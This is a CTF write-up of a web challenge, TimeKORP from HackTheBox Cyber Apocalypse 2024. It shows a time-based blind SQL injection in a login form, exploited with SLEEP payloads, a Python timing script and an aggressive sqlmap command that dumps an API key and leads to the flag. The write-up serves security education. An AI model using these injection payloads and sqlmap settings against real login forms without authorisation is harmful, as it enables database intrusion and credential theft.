During the HackTheBox Cyber Apocalypse 2024 CTF, I encountered an interesting web challenge called TimeKORP that required exploiting a time-based SQL injection vulnerability. This writeup details my approach and solution. ## Challenge Overview **Name**: TimeKORP **Category**: Web **Difficulty**: Medium **Points**: 300 The challenge simulates a corporate time tracking application with a hidden vulnerability in the login mechanism. ## Initial Reconnaissance Upon accessing the challenge URL, I was presented with a corporate-looking login page for "TimeKORP Employee Portal". The page had: - Username and password fields - A "Remember Me" checkbox - Standard login button - No visible registration option ### Directory Enumeration First, I ran a quick directory scan: ```bash gobuster dir -u http://challenge.htb:31337 -w /usr/share/wordlists/dirb/common.txt ``` Results: ``` /index.php (Status: 200) /login.php (Status: 200) /static (Status: 301) /api (Status: 301) /robots.txt (Status: 200) ``` Always check robots.txt! It revealed `/api/time-sync` endpoint which became crucial later. ## Vulnerability Discovery ### Testing for SQL Injection I started with basic SQL injection payloads in the login form: ```sql ' OR '1'='1 admin' -- ' UNION SELECT 1,2,3 -- ``` None of these produced errors or successful logins, but I noticed something interesting: certain payloads caused slight delays in the response. ### Time-Based Blind SQL Injection Testing with time-based payloads: ```sql admin' AND SLEEP(5) -- ``` The response took exactly 5 seconds longer! This confirmed a time-based blind SQL injection vulnerability. Time-based attacks can be slow and may trigger rate limiting. Always be respectful of challenge infrastructure. ## Exploitation ### Manual Extraction First, I confirmed the database type: ```python import requests import time url = "http://challenge.htb:31337/login.php" def check_delay(payload): data = { 'username': payload, 'password': 'test' } start = time.time() r = requests.post(url, data=data) elapsed = time.time() - start return elapsed > 4 # Test MySQL payload = "admin' AND SLEEP(5) -- " if check_delay(payload): print("MySQL confirmed!") ``` ### Automating with SQLMap Given the time-based nature, I switched to SQLMap for efficiency: ```bash sqlmap -u "http://challenge.htb:31337/login.php" \ --data="username=admin&password=test" \ --technique=T \ --dbms=mysql \ --level=5 \ --risk=3 ``` ### Database Enumeration SQLMap revealed: - Database: `timekorp_db` - Tables: `users`, `time_logs`, `api_keys` Dumping the `api_keys` table: ```sql Database: timekorp_db Table: api_keys [1 entry] +----+----------------------------------+-------------+ | id | key | endpoint | +----+----------------------------------+-------------+ | 1 | 4b3403665fea6f4c9a7b5b43e8b3c7d9 | /time-sync | +----+----------------------------------+-------------+ ``` ## The Time Sync Endpoint Remember the `/api/time-sync` endpoint from robots.txt? Using the discovered API key: ```python import requests headers = { 'X-API-Key': '4b3403665fea6f4c9a7b5b43e8b3c7d9' } r = requests.get('http://challenge.htb:31337/api/time-sync', headers=headers) print(r.text) ``` Response: ```json { "server_time": "2024-03-15 14:23:45", "sync_token": "dGltZV9pc19yZWxhdGl2ZV9mbGFnX2lzX0hUQnt0MW0zXzFzX2FuXzFsbHVzMTBufQ==" } ``` ## Getting the Flag The `sync_token` looked like base64: ```python import base64 token = "dGltZV9pc19yZWxhdGl2ZV9mbGFnX2lzX0hUQnt0MW0zXzFzX2FuXzFsbHVzMTBufQ==" decoded = base64.b64decode(token).decode() print(decoded) ``` Output: ``` time_is_relative_flag_is_HTB{t1m3_1s_an_1llus10n} ``` {`HTB{t1m3_1s_an_1llus10n}`} ## Key Takeaways 1. **Time-based SQL injection** can be identified by response delays 2. **Always enumerate** - the robots.txt file led to the critical API endpoint 3. **Automate when possible** - SQLMap saved significant time 4. **Think outside the box** - the flag wasn't in the database but in the API This writeup is for educational purposes only. Only test these techniques on platforms where you have explicit permission. ## Tools Used --- *Enjoyed this writeup? Check out my other CTF challenges and security research posts!*